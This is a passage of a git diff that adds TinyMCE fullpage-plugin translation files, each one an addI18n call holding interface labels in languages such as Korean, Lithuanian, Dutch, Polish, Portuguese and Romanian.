\u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8","appearance_marginprops":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d4\u10d1\u10d8","appearance_linkprops":"\u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","appearance_textprops":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d0\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8",bgcolor:"\u10e4\u10dd\u10dc\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8",bgimage:"\u10e4\u10dd\u10dc\u10e3\u10e0\u10d8 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0","left_margin":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ea\u10e1\u10dc\u10d8\u10d3\u10d0\u10dc","right_margin":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc","top_margin":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0 \u10d6\u10d4\u10db\u10dd\u10d3\u10d0\u10dc","bottom_margin":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0 \u10e5\u10d5\u10d4\u10db\u10dd\u10d3\u10d0\u10dc","text_color":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","font_size":"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0","font_face":"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8","link_color":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","hover_color":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8 \u10d2\u10d0\u10d0\u10e5\u10e2\u10d8\u10e3\u10e0\u10d4\u10d1\u10d8\u10e1\u10d0\u10e1","visited_color":"\u10d2\u10d0\u10d0\u10e5\u10e2\u10d8\u10e3\u10e0\u10d4\u10d1\u10e3\u10da\u10d8 \u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","active_color":"\u10d0\u10e5\u10e2\u10d8\u10e3\u10e0\u10d8 \u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8",textcolor:"\u10e4\u10d4\u10e0\u10d8",fontsize:"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0",fontface:"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8\u10e1 \u10d9\u10d0\u10e2\u10d4\u10d2\u10dd\u10e0\u10d8\u10d0","meta_index_follow":"\u10d3\u10d0\u10d5\u10d0\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10dd\u10d7 \u10d3\u10d0 \u10d2\u10d0\u10d5\u10e7\u10d5\u10d4\u10d7 \u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10e1","meta_index_nofollow":"\u10d3\u10d0\u10d5\u10d0\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10dd\u10d7 \u10d3\u10d0 \u10d0\u10e0 \u10d2\u10d0\u10d5\u10e7\u10d5\u10d4\u10d7 \u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10e1","meta_noindex_follow":"\u10d0\u10e0 \u10d3\u10d0\u10d5\u10d0\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10dd\u10d7, \u10db\u10d0\u10d2\u10e0\u10d0\u10db \u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10e1 \u10d2\u10d0\u10d5\u10e7\u10d5\u10d4\u10d7","meta_noindex_nofollow":"\u10d0\u10e0 \u10d3\u10d0\u10d5\u10d0\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10dd\u10d7 \u10d3\u10d0 \u10d0\u10e0 \u10d2\u10d0\u10d5\u10e7\u10d5\u10d4\u10d7 \u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10e1","appearance_style":"\u10e1\u10e2\u10d8\u10da\u10d4\u10d1\u10d8\u10e1 \u10db\u10d0\u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10da\u10d4\u10d1\u10d8 \u10d3\u10d0 \u10e1\u10d8\u10d0",stylesheet:"\u10e1\u10e2\u10d8\u10da\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0",style:"\u10e1\u10e2\u10d8\u10da\u10d8",author:"\u10d0\u10d5\u10e2\u10dd\u10e0\u10d8",copyright:"\u10d9\u10dd\u10de\u10d8\u10e0\u10d0\u10d8\u10e2\u10d8",add:"\u10d0\u10ee\u10d0\u10da\u10d8 \u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",remove:"\u10db\u10dd\u10dc\u10d8\u10e8\u10dc\u10e3\u10da\u10d8 \u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0",moveup:"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10d6\u10d4\u10db\u10dd\u10d7 \u10d2\u10d0\u10d3\u10d0\u10d0\u10d3\u10d2\u10d8\u10da\u10d4\u10d1\u10d0",movedown:"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10e5\u10d5\u10d4\u10db\u10dd\u10d7 \u10d2\u10d0\u10d3\u10d0\u10d0\u10d3\u10d2\u10d8\u10da\u10d4\u10d1\u10d0","head_elements":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Header",info:"\u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d0","add_title":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Title","add_meta":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Meta","add_script":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Script","add_style":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Style","add_link":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Link","add_base":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Base","add_comment":"\u10d9\u10dd\u10db\u10d4\u10dc\u10e2\u10d0\u10e0\u10d8","title_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Title","script_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Script","style_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Style","base_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Base","link_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Link","meta_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Meta","comment_element":"\u10d9\u10dd\u10db\u10d4\u10dc\u10e2\u10d8\u10d0\u10e0\u10d8",src:"Src",language:"\u10d4\u10dc\u10d0",href:"\u10d1\u10db\u10e3\u10da\u10d8",target:"\u10db\u10d8\u10d6\u10d0\u10dc\u10d8",type:"\u10e2\u10d8\u10de\u10d8",charset:"\u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0",defer:"\u10d2\u10d0\u10d3\u10d0\u10e2\u10d0\u10dc\u10d0",media:"\u10db\u10d4\u10d3\u10d8\u10d0",properties:"\u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",name:"\u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0",value:"\u10db\u10d0\u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10d4\u10da\u10d8",content:"\u10e8\u10d8\u10dc\u10d0\u10d0\u10e0\u10e1\u10d8",rel:"Rel",rev:"Rev",hreflang:"\u10d4\u10dc\u10d8\u10e1 \u10d1\u10db\u10e3\u10da\u10d8","general_props":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd","advanced_props":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/ko_dlg.js b/js/tiny_mce/plugins/fullpage/langs/ko_dlg.js new file mode 100755 index 0000000..c21352b --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.fullpage_dlg',{title:"\ud398\uc774\uc9c0\uc758 \uc18d\uc131","meta_tab":"\uc77c\ubc18","appearance_tab":"\ud45c\uc2dc","advanced_tab":"\uace0\uae09","meta_props":"\uba54\ud0c0 \uc815\ubcf4",langprops:"\uc5b8\uc5b4\uc640 \uc778\ucf54\ub529","meta_title":"Title","meta_keywords":"Keywords","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"\uc5b8\uc5b4 \ucf54\ub4dc",langdir:"\ubb38\uc790 \ubc29\ud5a5",ltr:"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd",rtl:"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd","xml_pi":"XML\uc120\uc5b8",encoding:"\ubb38\uc790 \uc778\ucf54\ub529","appearance_bgprops":"\ubc30\uacbd \uc124\uc815","appearance_marginprops":"Body \ub9c8\uc9c4","appearance_linkprops":"\ub9c1\ud06c\uc0c9","appearance_textprops":"\ud14d\uc2a4\ud2b8 \uc124\uc815",bgcolor:"\ubc30\uacbd\uc0c9",bgimage:"\ubc30\uacbd \uc774\ubbf8\uc9c0","left_margin":"\uc67c\ucabd \ub9c8\uc9c4","right_margin":"\uc624\ub978\ucabd \ub9c8\uc9c4","top_margin":"\uc704 \ub9c8\uc9c4","bottom_margin":"\uc544\ub798 \ub9c8\uc9c4","text_color":"\ubb38\uc790\uc0c9","font_size":"\ubb38\uc790 \ud06c\uae30","font_face":"\uae00\uaf34","link_color":"\ub9c1\ud06c\uc0c9","hover_color":"\ub9c1\ud06c\uc0c9(hover)","visited_color":"\ub9c1\ud06c\uc0c9(visited)","active_color":"\ub9c1\ud06c\uc0c9(active)",textcolor:"\uc0c9",fontsize:"\ubb38\uc790 \ud06c\uae30",fontface:"\ud3f0\ud2b8","meta_index_follow":"\ubaa8\ub450 \ud5c8\uac00","meta_index_nofollow":"\ud398\uc774\uc9c0\ub97c \ud5c8\uac00\ud558\uc9c0\ub9cc \ub9c1\ud06c \uae08\uc9c0","meta_noindex_follow":"\ud398\uc774\uc9c0\ub97c \uae08\uc9c0\ud558\uace0 \ub9c1\ud06c \ud5c8\uac00","meta_noindex_nofollow":"\ubaa8\ub450 \uae08\uc9c0","appearance_style":"\uc2a4\ud0c0\uc77c\uc2dc\ud2b8 \uc124\uc815",stylesheet:"\uc2a4\ud0c0\uc77c\uc2dc\ud2b8",style:"\uc2a4\ud0c0\uc77c",author:"\ud544\uc790",copyright:"Copyright",add:"\uc694\uc18c \ucd94\uac00",remove:"\uc120\ud0dd \uc694\uc18c\ub97c \uc0ad\uc81c",moveup:"\uc120\ud0dd \uc694\uc18c\ub97c \uc704\uc5d0 \uc774\ub3d9",movedown:"\uc120\ud0dd \uc694\uc18c\ub97c \uc544\ub798\uc5d0 \uc774\ub3d9","head_elements":"Head elements",info:"Information","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Advanced"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/lt_dlg.js b/js/tiny_mce/plugins/fullpage/langs/lt_dlg.js new file mode 100755 index 0000000..de70876 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.fullpage_dlg',{title:"Dokumento nustatymai","meta_tab":"Bendra","appearance_tab":"I\u0161vaizda","advanced_tab":"I\u0161pl\u0117sta","meta_props":"Meta informacija",langprops:"Kalba ir koduot\u0117","meta_title":"Pavadinimas","meta_keywords":"Rakta\u017eod\u017eiai","meta_description":"Apra\u0161as","meta_robots":"Robotai",doctypes:"Dokumento tipas",langcode:"Kalbos kodas",langdir:"Kalbos kryptis",ltr:"I\u0161 kair\u0117s \u012f de\u0161in\u0119",rtl:"I\u0161 de\u0161in\u0117s \u012f kair\u0119","xml_pi":"XML deklaracijos",encoding:"Simboli\u0173 koduot\u0117","appearance_bgprops":"Fono nustatymai","appearance_marginprops":"K\u016bno para\u0161t\u0117s","appearance_linkprops":"Nuorod\u0173 spalvos","appearance_textprops":"Teksto nustatymai",bgcolor:"Fono spalva",bgimage:"Fono paveiksl\u0117lis","left_margin":"Kair\u0117 para\u0161t\u0117","right_margin":"De\u0161in\u0117 para\u0161t\u0117","top_margin":"Vir\u0161utin\u0117 para\u0161t\u0117","bottom_margin":"Apatin\u0117 para\u0161t\u0117","text_color":"Teksto spalva","font_size":"\u0160rifto dydis","font_face":"\u0160riftas","link_color":"Nuorodos spalva","hover_color":"U\u017evedus pele spalva","visited_color":"Aplankytos spalva","active_color":"Aktyvios spalva",textcolor:"Spalva",fontsize:"\u0160rifto dydis",fontface:"\u0160rifto \u0161eima","meta_index_follow":"Indeksuoti ir sekti nuorodomis","meta_index_nofollow":"Indeksuoti ir nesekti nuorodomis","meta_noindex_follow":"Neindeksuoti, bet sekti nuorodomis","meta_noindex_nofollow":"Neindeksuoti ir nesekti nuorodomis","appearance_style":"Stili\u0173 lapo ir stiliaus nustatymai",stylesheet:"Stili\u0173 lapas",style:"Stilius",author:"Autorius",copyright:"Autoriaus teis\u0117s",add:"Prid\u0117ti nauj\u0105 element\u0105",remove:"Pa\u0161alinti pa\u017eym\u0117t\u0105 element\u0105",moveup:"Perkelti pa\u017eym\u0117t\u0105 element\u0105 \u012f vir\u0161\u0173",movedown:"Perkelti pa\u017eym\u0117t\u0105 element\u0105 \u012f apa\u010di\u0105","head_elements":"Antra\u0161t\u0117s elementai",info:"Informacija","add_title":"Pavadinimo elementas","add_meta":"Meta elementas","add_script":"Skripto elementas","add_style":"Stiliaus elementas","add_link":"Nuorodos elementas","add_base":"Bazinis elementas","add_comment":"Komentaro mazgas","title_element":"Pavadinimo elementas","script_element":"Skripto elementas","style_element":"Stiliaus elementas","base_element":"Bazinis elementas","link_element":"Nuorodos elementas","meta_element":"Meta elementas","comment_element":"Komentaras",src:"\u0160altinis",language:"Kalba",href:"Href",target:"Paskirtis",type:"Tipas",charset:"Koduot\u0117",defer:"Atid\u0117ti",media:"Medija",properties:"Nustatymai",name:"Vardas",value:"Reik\u0161m\u0117",content:"Turinys",rel:"Laida",rev:"Pataisa",hreflang:"Href kalba","general_props":"Bendra","advanced_props":"I\u0161pl\u0117sta"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/nl_dlg.js b/js/tiny_mce/plugins/fullpage/langs/nl_dlg.js new file mode 100755 index 0000000..3fca750 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.fullpage_dlg',{title:"Documenteigenschappen","meta_tab":"Algemeen","appearance_tab":"Weergave","advanced_tab":"Geavanceerd","meta_props":"Meta informatie",langprops:"Taal en codering","meta_title":"Titel","meta_keywords":"Sleutelwoorden","meta_description":"Beschrijving","meta_robots":"Robots",doctypes:"Doctype",langcode:"Taalcode",langdir:"Taalrichting",ltr:"Van links naar rechts",rtl:"Van rechts naar links","xml_pi":"XML toewijzing",encoding:"Karaktercodering","appearance_bgprops":"Achtergrondeigenschappen","appearance_marginprops":"Bodymarge","appearance_linkprops":"Linkkleuren","appearance_textprops":"Teksteigenschappen",bgcolor:"Achtergrondkleur",bgimage:"Achtergrondafbeelding","left_margin":"Linkermarge","right_margin":"Rechtermarge","top_margin":"Bovenmarge","bottom_margin":"Ondermarge","text_color":"Tekstkleur","font_size":"Tekengrootte","font_face":"Lettertype","link_color":"Linkkleur","hover_color":"Hoverkleur","visited_color":"Bezocht kleur","active_color":"Actieve kleur",textcolor:"Kleur",fontsize:"Tekengrootte",fontface:"Lettertype","meta_index_follow":"Links indexeren en volgen","meta_index_nofollow":"Links indexeren maar niet volgen","meta_noindex_follow":"Links volgen maar niet indexeren","meta_noindex_nofollow":"Links niet indexeren en niet volgen","appearance_style":"Stijlblad en stijleigenschappen",stylesheet:"Stijlblad",style:"Stijl",author:"Auteur",copyright:"Copyright",add:"Nieuw element toevoegen",remove:"Geselecteerde elementen verwijderen",moveup:"Geselecteerde elementen omhoog verplaatsen",movedown:"Geselecteerde elementen omlaag verplaatsen","head_elements":"Kopelementen",info:"Informatie","add_title":"Titelelement","add_meta":"Meta-element","add_script":"Scriptelement","add_style":"Stijlelement","add_link":"Linkelement","add_base":"Basiselement","add_comment":"Opmerkingknooppunt","title_element":"Titelelement","script_element":"Scriptelement","style_element":"Stijlelement","base_element":"Basiselement","link_element":"Linkelement","meta_element":"Meta-element","comment_element":"Opmerking",src:"Bron",language:"Taal",href:"Href",target:"Doel",type:"Type",charset:"Karakterset",defer:"Uitstellen",media:"Media",properties:"Eigenschappen",name:"Naam",value:"Waarde",content:"Inhoud",rel:"Rel",rev:"Rev",hreflang:"Href taal","general_props":"Algemeen","advanced_props":"Geavanceerd"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/no_dlg.js b/js/tiny_mce/plugins/fullpage/langs/no_dlg.js new file mode 100755 index 0000000..66fc8ce --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.fullpage_dlg',{title:"Dokumentegenskaper","meta_tab":"Generelt","appearance_tab":"Utseende","advanced_tab":"Avansert","meta_props":"Meta informasjon",langprops:"Spr\u00e5k og koding","meta_title":"Tittel","meta_keywords":"N\u00f8kkelord","meta_description":"Beskrivelse","meta_robots":"Roboter",doctypes:"Dokument type",langcode:"Spr\u00e5kkode",langdir:"Skriftretning",ltr:"Venstre mot h\u00f8yre",rtl:"H\u00f8yre mot venstre","xml_pi":"XML deklarering",encoding:"Karakter konvertering","appearance_bgprops":"Bakgrunnsegenskaper","appearance_marginprops":"Body marg","appearance_linkprops":"Lenke farger","appearance_textprops":"Tekst egenskaper",bgcolor:"Bakgrunnsfarge",bgimage:"Bakgrunnsbilde","left_margin":"Venstre marg","right_margin":"H\u00f8yre marg","top_margin":"Topp marg","bottom_margin":"Bunn marg","text_color":"Tekstfarge","font_size":"Skriftst\u00f8rrelse","font_face":"Skrifttype","link_color":"Lenke farge","hover_color":"Mus-over farge","visited_color":"Bes\u00f8kt farge","active_color":"Aktiv farge",textcolor:"Farge",fontsize:"Skriftst\u00f8rrelse",fontface:"Skriftfamile","meta_index_follow":"Indekser og f\u00f8lg lenkene","meta_index_nofollow":"Indekser og ikke f\u00f8lg lenkene","meta_noindex_follow":"Ikke indekser, men f\u00f8lg lenkene","meta_noindex_nofollow":"Ikke indekser, og ikke f\u00f8lg lenkene","appearance_style":"Stilark og stilegenskaper",stylesheet:"Stilark",style:"Stil",author:"Forfatter",copyright:"Copyright",add:"Legg til nytt element",remove:"Fjerne valgt element",moveup:"Flytt markert element opp",movedown:"Flytt markert element ned","head_elements":"Overskriftselement",info:"Informasjon","add_title":"Tittelelement","add_meta":"Metaelement","add_script":"Skriptelement","add_style":"Stilelement","add_link":"Lenkeelement","add_base":"Basiselement","add_comment":"Kommentar","title_element":"Tittelelement","script_element":"Skriptelement","style_element":"Stilelement","base_element":"Basiselement","link_element":"Lenkeelement","meta_element":"Metaelement","comment_element":"Kommentar",src:"Kilde",language:"Spr\u00e5k",href:"Href",target:"M\u00e5l",type:"Type",charset:"Tegnsett",defer:"Henstille",media:"Objekt",properties:"Egenskaper",name:"Navn",value:"Verdi",content:"Innhold",rel:"Rel",rev:"Rev",hreflang:"Href spr\u00e5k","general_props":"Generelt","advanced_props":"Avansert"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/pl_dlg.js b/js/tiny_mce/plugins/fullpage/langs/pl_dlg.js new file mode 100755 index 0000000..b940052 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.fullpage_dlg',{title:"W\u0142a\u015bciwo\u015bci dokumentu","meta_tab":"Og\u00f3lne","appearance_tab":"Wygl\u0105d","advanced_tab":"Zaawansowane","meta_props":"Meta informacje",langprops:"J\u0119zyk i kodowanie","meta_title":"Tytu\u0142","meta_keywords":"S\u0142owa kluczowe","meta_description":"Opis","meta_robots":"Roboty",doctypes:"Typ dokumentu",langcode:"Oznaczenie kodowe j\u0119zyka",langdir:"Kierunek czytania tekstu",ltr:"Kierunek z lewej do prawej",rtl:"Kierunek z prawej do lewej","xml_pi":"Deklaracja XML",encoding:"Kodowanie znak\u00f3w","appearance_bgprops":"W\u0142a\u015bciwo\u015bci t\u0142a","appearance_marginprops":"Marginesy strony","appearance_linkprops":"Kolor odno\u015bnik\u00f3w","appearance_textprops":"W\u0142a\u015bciwo\u015bci tekstu",bgcolor:"Kolor t\u0142a",bgimage:"Obrazek t\u0142a","left_margin":"Lewy margines","right_margin":"Prawy margines","top_margin":"G\u00f3rny margines","bottom_margin":"Dolny margines","text_color":"Kolor tekstu","font_size":"Rozmiar czcionki","font_face":"Czcionka","link_color":"Kolor odno\u015bnika","hover_color":"Kolor po najechaniu myszk\u0105","visited_color":"Kolor odwiedzonych link\u00f3w","active_color":"Kolor aktywnych link\u00f3w",textcolor:"Kolor",fontsize:"Rozmiar czcionki",fontface:"Rodzaj czcionki","meta_index_follow":"Indeksuj i pod\u0105\u017caj za linkami","meta_index_nofollow":"Indeksuj i nie pod\u0105\u017caj za odno\u015bnikami","meta_noindex_follow":"Nie indeksuj i pod\u0105\u017caj za odno\u015bnikami","meta_noindex_nofollow":"Nie indeksuj i nie pod\u0105\u017caj za odno\u015bnikami","appearance_style":"Arkusze i w\u0142a\u015bciwo\u015bci styl\u00f3w",stylesheet:"Arkusz styl\u00f3w",style:"Styl",author:"Autor",copyright:"Prawa autorskie",add:"Dodaj nowy element",remove:"Usu\u0144 wybrany element",moveup:"Przesu\u0144 wybrane element do g\u00f3ry",movedown:"Przesu\u0144 wybrane element w d\u00f3\u0142","head_elements":"Elementy nag\u0142\u00f3wka",info:"Informacja","add_title":"Tytu\u0142","add_meta":"Meta tag","add_script":"Skrypt","add_style":"Styl","add_link":"Odno\u015bnik","add_base":"Baza","add_comment":"Komentarz","title_element":"Tytu\u0142","script_element":"Skrypt","style_element":"Styl","base_element":"Baza","link_element":"Odno\u015bnik","meta_element":"Meta tag","comment_element":"Komentarz",src:"\u0179r\u00f3d\u0142o",language:"J\u0119zyk",href:"Odno\u015bnik",target:"Cel",type:"Typ",charset:"Kodowanie",defer:"Defer",media:"Media",properties:"W\u0142a\u015bciwo\u015bci",name:"Nazwa",value:"Warto\u015b\u0107",content:"Zawarto\u015b\u0107",rel:"Rel",rev:"Rev",hreflang:"J\u0119zyk odno\u015bnika","general_props":"G\u0142\u00f3wne","advanced_props":"Zaawansowane"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/pt_dlg.js b/js/tiny_mce/plugins/fullpage/langs/pt_dlg.js new file mode 100755 index 0000000..749f868 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.fullpage_dlg',{title:"Propriedades do documento","meta_tab":"Geral","appearance_tab":"Apar\u00eancia","advanced_tab":"Avan\u00e7ado","meta_props":"Meta-informa\u00e7\u00e3o",langprops:"Idioma e codifica\u00e7\u00e3o","meta_title":"T\u00edtulo","meta_keywords":"Palavras-chave","meta_description":"Descri\u00e7\u00e3o","meta_robots":"Robots",doctypes:"Doctype",langcode:"C\u00f3digo do idioma",langdir:"Dire\u00e7\u00e3o do texto",ltr:"Esquerda para direita",rtl:"Direita para esquerda","xml_pi":"Declara\u00e7\u00e3o XML",encoding:"Codifica\u00e7\u00e3o de caracteres","appearance_bgprops":"Propriedades do plano de fundo","appearance_marginprops":"Margens (BODY)","appearance_linkprops":"Cores dos links","appearance_textprops":"Propriedades de texto",bgcolor:"Cor de fundo",bgimage:"Imagem de fundo","left_margin":"Margem esquerda","right_margin":"Margem direita","top_margin":"Margem topo","bottom_margin":"Margem base","text_color":"Cor do texto","font_size":"Tamanho fonte","font_face":"Fonte","link_color":"Cores dos links","hover_color":"Hover","visited_color":"Visitado","active_color":"Ativo",textcolor:"Cor",fontsize:"Tamanho fonte",fontface:"Fonte","meta_index_follow":"Indexar e seguir os hyperlinks","meta_index_nofollow":"Indexar e n\u00e3o seguir os hyperlinks","meta_noindex_follow":"Seguir hyperlinks, mas n\u00e3o indexar","meta_noindex_nofollow":"N\u00e3o indexar / n\u00e3o seguir hyperlinks.","appearance_style":"Propriedades de folhas de estilo",stylesheet:"Folha de estilo",style:"Estilo",author:"Autor",copyright:"Copyright",add:"Acrescentar novo elemento",remove:"Remover elemento selecionado",moveup:"Subir elemento selecionado",movedown:"Descer elemento selecionado","head_elements":"Elementos HEAD",info:"Informa\u00e7\u00e3o","add_title":"TITLE","add_meta":"META","add_script":"SCRIPT","add_style":"STYLE","add_link":"LINK","add_base":"BASE","add_comment":"Coment\u00e1rio","title_element":"TITLE","script_element":"SCRIPT","style_element":"STYLE","base_element":"BASE","link_element":"LINK","meta_element":"META","comment_element":"Coment\u00e1rio",src:"src",language:"Idioma",href:"href",target:"Alvo",type:"Tipo",charset:"Charset",defer:"Adiar",media:"Media",properties:"Propriedades",name:"Nome",value:"Valor",content:"Conte\u00fado",rel:"rel",rev:"rev",hreflang:"href lang","general_props":"Geral","advanced_props":"Avan\u00e7ado"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/ro_dlg.js b/js/tiny_mce/plugins/fullpage/langs/ro_dlg.js new file mode 100755 index 0000000..db0a58b --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.fullpage_dlg',{title:"Propriet\u0103\u021bi document","meta_tab":"General","appearance_tab":"Aspect","advanced_tab":"Avansat","meta_props":"Meta informa\u021bii",langprops:"Limb\u0103 \u0219i codare","meta_title":"Titlu","meta_keywords":"Cuvinte cheie","meta_description":"Descriere","meta_robots":"Robo\u021bi",doctypes:"Doctype",langcode:"Cod limb\u0103",langdir:"Direc\u021bie limb\u0103",ltr:"De la st\u00e2nga la dreapta",rtl:"De la dreapta la st\u00e2nga","xml_pi":"Declara\u021bie XML",encoding:"Cod caractere","appearance_bgprops":"Propriet\u0103\u021bi fundal","appearance_marginprops":"Margini corp","appearance_linkprops":"Culoare leg\u0103turi","appearance_textprops":"Propriet\u0103\u021bi text",bgcolor:"Culoare de fundal",bgimage:"Imagine de fundal","left_margin":"Margine st\u00e2nga","right_margin":"Margine dreapta","top_margin":"Margine sus","bottom_margin":"Margine jos","text_color":"Culoare text","font_size":"Dimensiune font","font_face":"Tip font","link_color":"Culoare leg\u0103tur\u0103","hover_color":"Culoare leg\u0103tur\u0103 la maus deasupra","visited_color":"Leg\u0103tur\u0103 vizitat\u0103","active_color":"Leg\u0103tur\u0103 activ\u0103",textcolor:"Culoare",fontsize:"Dimensiune font",fontface:"Tip font","meta_index_follow":"Indexeaz\u0103 \u0219i urm\u0103re\u0219te aceste leg\u0103turi","meta_index_nofollow":"Indexeaz\u0103 \u0219i nu urm\u0103ri aceste leg\u0103turi","meta_noindex_follow":"Nu indexa, dar urm\u0103re\u0219te aceste leg\u0103turi","meta_noindex_nofollow":"Nu indexa \u0219i nu urm\u0103ri aceste leg\u0103turi","appearance_style":"Stil",stylesheet:"Foaie de stil",style:"Stil",author:"Autor",copyright:"Copyright",add:"Adaug\u0103 un element",remove:"\u0218terge elementul selectat",moveup:"Mut\u0103 elementul selectat \u00een sus",movedown:"Mut\u0103 elementul selectat \u00een jos","head_elements":"Elemente de antet",info:"Informa\u021bii","add_title":"Titlu","add_meta":"Meta","add_script":"Script","add_style":"Stil","add_link":"Link","add_base":"Base","add_comment":"Comentariu","title_element":"Title","script_element":"Script","style_element":"Stil","base_element":"Base","link_element":"Link","meta_element":"Meta","comment_element":"Comentariu",src:"Src",language:"Limb\u0103",href:"Href",target:"\u021aint\u0103",type:"Tip",charset:"Set de caractere",defer:"Defer",media:"Media",properties:"Propriet\u0103\u021bi",name:"Nume",value:"Valoare",content:"Con\u021binut",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Avansat"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/ru_dlg.js 